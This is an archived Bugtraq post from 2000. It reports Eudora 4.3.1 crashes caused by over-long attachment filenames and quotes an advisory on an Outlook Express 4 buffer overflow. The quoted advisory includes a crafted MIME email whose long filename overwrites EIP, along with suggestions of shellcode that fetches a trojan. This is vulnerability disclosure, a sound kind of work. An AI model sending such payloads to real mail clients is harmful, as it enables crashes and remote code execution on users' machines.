Eudora Sensitive to Long Filenames

[rxm8 () CWRU EDU (Ron Moritz)]

Ultor (and others),

I agree with Seth Cohn's request to posted controlled samples to the list
in that I also suffered from Ultor's attachment (and the one submitted
several weeks back).  I believe that some technical points can be made
without including samples like an attachment with a filename of 267+
characters.  However, this post is not to discuss whether to submit samples
or not but rather it is an attempt to push the Eudora folks to fix their
own bug.

Eudora 4.3.1 is proving to be fairly unstable and objects with filenames
this long that get lodged in the Eudora attachment directory cause the mail
client to crash (what a surprise).  (If I remember my history, Eudora has
long been sensitive to attachment issues.)  You'd think that Qualcomm would
be open to bug reports but they've not been responsive to my emails to
support.  Hopefully they'll pay attention now that it's been posted to Bugtraq.

Luckily, MS-DOS still exists so I can delete the file from the attachment
directory (default Windows services can't handle filenames that
long).  Once deleted, Eudora returns to life.  Without deleting the file,
Eudora crashes and burns with the following exception log (posted just in
case Qualcomm folks are watching):

//=====================================================
Sun May 14 04:22:37 2000
Version 4.3.1

Exception code: c0000005 ACCESS_VIOLATION
Fault address:  41414141 00:00000000

Registers:
EAX:800403e9
EBX:00af0ee0
ECX:000000ce
EDX:00000002
ESI:00000005
EDI:00b74f10
CS:EIP:001b:41414141
SS:ESP:0023:0012e7e0  EBP:780089da
DS:0023  ES:0023  FS:0038  GS:0000
Flags:00010206

Call stack:
Address   Frame
41414141  0012e7dc  0000:00000000

//=====================================================
Sun May 14 04:24:38 2000
Version 4.3.1

Exception code: c0000005 ACCESS_VIOLATION
Fault address:  41414141 00:00000000

Registers:
EAX:800403e9
EBX:00b61640
ECX:000000ce
EDX:00000002
ESI:00000005
EDI:00b693f0
CS:EIP:001b:41414141
SS:ESP:0023:0012e7e0  EBP:780089da
DS:0023  ES:0023  FS:0038  GS:0000
Flags:00010206

Call stack:
Address   Frame
41414141  0012e7dc  0000:00000000

//=====================================================
Sun May 14 04:25:20 2000
Version 4.3.1

Exception code: c0000005 ACCESS_VIOLATION
Fault address:  41414141 00:00000000

Registers:
EAX:800403e9
EBX:00bd3760
ECX:000000ce
EDX:00000002
ESI:00000005
EDI:00bdae40
CS:EIP:001b:41414141
SS:ESP:0023:0012e7e0  EBP:780089da
DS:0023  ES:0023  FS:0038  GS:0000
Flags:00010206

Call stack:
Address   Frame
41414141  0012e7dc  0000:00000000

//=====================================================
Sun May 14 04:29:26 2000
Version 4.3.1

Exception code: c0000005 ACCESS_VIOLATION
Fault address:  41414141 00:00000000

Registers:
EAX:800403e9
EBX:00b58bf0
ECX:000000ce
EDX:00000002
ESI:00000005
EDI:00b5ff20
CS:EIP:001b:41414141
SS:ESP:0023:0012e7e0  EBP:780089da
DS:0023  ES:0023  FS:0038  GS:0000
Flags:00010206

Call stack:
Address   Frame
41414141  0012e7dc  0000:00000000

//=====================================================

Thanks,
Ron

At 14:05 5/12/00 +0200, Ultor wrote:
> ==== APPLICATION AFFECTED
>
> Outlook Express 4.* (5.* is not affected)
>
> ==== DESCRIPTION
>
> All attached graphic files are automatically shown in the Outlook Express
> while viewing the e-mail. The problem is that long filenames with *.jpg
> *.bmp extension makes overflow if filename lenght is longer then 256
> characters.
>
> ==== EXAMPLE
>
> We need more than 267 characters to overwrite EIP cause of 'C:\TEMP' on the
> begining of buffer. This makes little problem with exploitation. Here is
> example of such e-mail
>
> ------=_NextPart_000_0008_01BF5479.70140740
> Content-Type: text/plain;
> name="hert.jpg"
> Content-Transfer-Encoding: base64
> Content-Disposition: attachment;
>
> filename="AAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jpg"
>
> ------=_NextPart_000_0008_01BF5479.70140740--
>
> EIP is overwriten here by 'BBBB'.
>
> ==== EXPLOITATION
>
> It's little hard to exploit it cause buffer is addressed in addr with '00'
> and we got 'C:\TEMP' which overwrites stack before our data. You will need
> some tricks to exploit this. I believe this bug could be very dangerous if
> connected somehow with worm cause you would only have to view the message to
> run the exploit. Using shellcode which downloads trojan from some URL on the
> affected machine would be interesting idea too.
>
>
> Greeetz to HERT,Lam3rZ,TESO
>
> ----------------------
> Mark Bialoglowy [Ultor () hert org] --- Network Security Consultant
> Age: 19 -- Country: PL -- PGP: http://www.hert.org/pgp/Ultor.asc
> CODE: C / Delphi / w32asm / Linux / SQL / CGI / HTML / VRML / AI
> ----------------------
>
> From: "Ultor" <Ultor () hert org>
> To: <Ultor () hert org>
> Subject: What do u want to crash today ?
> Date: Sat, 1 Jan 2000 16:58:33 +0100
> MIME-Version: 1.0
> Content-Type: multipart/mixed;
>         boundary="----=_NextPart_000_0008_01BF5479.70140740"
> X-Priority: 3
> X-MSMail-Priority: Normal
> X-Mailer: Microsoft Outlook Express 4.72.3110.1
> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.1
>
>
> Content-Type: text/plain;
>         name="hert.jpg"
> Content-Disposition: attachment;
>
> filename="AAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAA.jpg"